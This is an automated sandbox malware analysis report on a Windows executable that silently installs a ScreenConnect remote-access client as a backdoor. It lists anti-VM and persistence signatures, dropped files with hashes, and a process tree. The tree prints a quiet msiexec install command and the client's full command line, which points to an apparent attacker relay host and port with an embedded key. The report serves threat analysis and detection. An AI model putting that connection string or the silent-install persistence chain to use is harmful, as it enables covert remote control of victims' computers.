Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 01:04

General

  • Target
    71b04e2d36fef06e17baafe2fd1ace5534bfc466b15f10495bc310e50bec972a.exe
  • Size 3.2MB
  • Sample260814-be39laed79
  • SHA256 71b04e2d36fef06e17baafe2fd1ace5534bfc466b15f10495bc310e50bec972a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\71b04e2d36fef06e17baafe2fd1ace5534bfc466b15f10495bc310e50bec972a.exe
    "C:\Users\Admin\AppData\Local\Temp\71b04e2d36fef06e17baafe2fd1ace5534bfc466b15f10495bc310e50bec972a.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    PID:4288
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\installer_4288_240733265.msi" /qn /norestart REBOOT=ReallySuppress
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5036
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1BD65C8CE0D6F2EA589F269BF4DAAD43
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI617F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240738890 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5660
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0E57963E1AAFC030EE2006D858DBFCC1 E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4500
  • C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cze-gua.com&p=8041&s=8b20a8a7-3333-4093-80ed-801950091fe6&k=BgIAAACkAABSU0ExAAgAAAEAAQBpRa0f%2bO54AYTAgjQmdJl%2fy2d1iqrZsvFSTr2UqxrI5CKgABJk6iJwdRTqoU0FKAzgSefW2b8nNpsnjx7U5IGQexdPJXZuxOENf%2br%2frwhX8ULooYpUc6UY8xhNwXY3jx44CCw6%2b1%2fwqShydYNirqGMWGJ2tO0HeaW81Le8cQbnr3WVi5Adak%2fGq0VSTruoT%2f8y4sDbabl%2fNU6Jm083l%2fbzY%2fXoavyTs%2fS4yFOqzSCq1yLNaKb913L5vWIjP%2bSfKz8ByAmdu%2fK8iqmwumg4pBOmWenh81VVPAMEnmUZ3764tHxXbZHQ7AA1IUrEdY%2brhxK%2bZkYxXAddjttbRws%2fV%2fXc"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe" "RunRole" "e48ad90c-ed11-40d3-924a-240043612e6f" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4388
    • C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe" "RunRole" "7ece530e-8597-4516-af57-2d0aa54053ff" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1516

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e595f9e.rbs

        • Path C:\Config.Msi\e595f9e.rbs
        • Size 214KB
        • SHA256 d1b9299411fd10b71f337c1b49ea8414a73fc760d82eb5ea4434590d44234dd9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\app.config
        • Size 508B
        • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\system.config
        • Size 953B
        • SHA256 17c182bb32c6a83eedad1db83f521e29b765a09178f47ba62f149e9b0edf60bf
        • MD5 SHA1 SHA512 TLSH

        installer_4288_240733265.msi

        • Path C:\Users\Admin\AppData\Local\Temp\installer_4288_240733265.msi
        • Size 9.5MB
        • SHA256 3be72cd9586af9ff6c1e6b9d345bcf5bb30caf25c17b23c7ae9920fd6201ff7f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI617F.tmp

        • Path C:\Windows\Installer\MSI617F.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI617F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI617F.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI617F.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI617F.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI69ED.tmp

        • Path C:\Windows\Installer\MSI69ED.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2804-138-0x000001AD32B20000-0x000001AD334C4000-memory.dmp

        memory/4288-113-0x0000000140000000-0x00000001408C0000-memory.dmp

        memory/4288-1-0x0000000140000000-0x00000001408C0000-memory.dmp

        memory/4288-2-0x0000000140000000-0x00000001408C0000-memory.dmp

        memory/4288-0-0x0000000140000000-0x00000001408C0000-memory.dmp

        memory/4388-129-0x0000000000610000-0x00000000006A8000-memory.dmp

        memory/4388-136-0x00000000028C0000-0x0000000002901000-memory.dmp

        memory/4388-135-0x0000000002760000-0x0000000002778000-memory.dmp

        memory/4388-134-0x00000000026E0000-0x00000000026F8000-memory.dmp

        memory/4388-133-0x000000001BC30000-0x000000001BDB8000-memory.dmp

        memory/4388-130-0x0000000002720000-0x0000000002756000-memory.dmp

        memory/4388-132-0x000000001B8F0000-0x000000001BA9C000-memory.dmp

        memory/4388-131-0x000000001B6B0000-0x000000001B73E000-memory.dmp

        memory/4392-119-0x0000000004720000-0x0000000004761000-memory.dmp

        memory/4392-117-0x0000000004AB0000-0x0000000004B42000-memory.dmp

        memory/4392-111-0x0000000004760000-0x00000000047B0000-memory.dmp

        memory/4392-121-0x0000000004CA0000-0x0000000004D75000-memory.dmp

        memory/4392-116-0x00000000047B0000-0x00000000047E6000-memory.dmp

        memory/4392-89-0x0000000001EE0000-0x0000000001EF8000-memory.dmp

        memory/5660-39-0x0000000004080000-0x00000000040AE000-memory.dmp

        memory/5660-43-0x00000000040C0000-0x00000000040CA000-memory.dmp

        memory/5660-47-0x0000000006220000-0x00000000062AE000-memory.dmp

        memory/5660-51-0x0000000006510000-0x00000000066BC000-memory.dmp

        memory/5660-52-0x0000000006C80000-0x000000000723A000-memory.dmp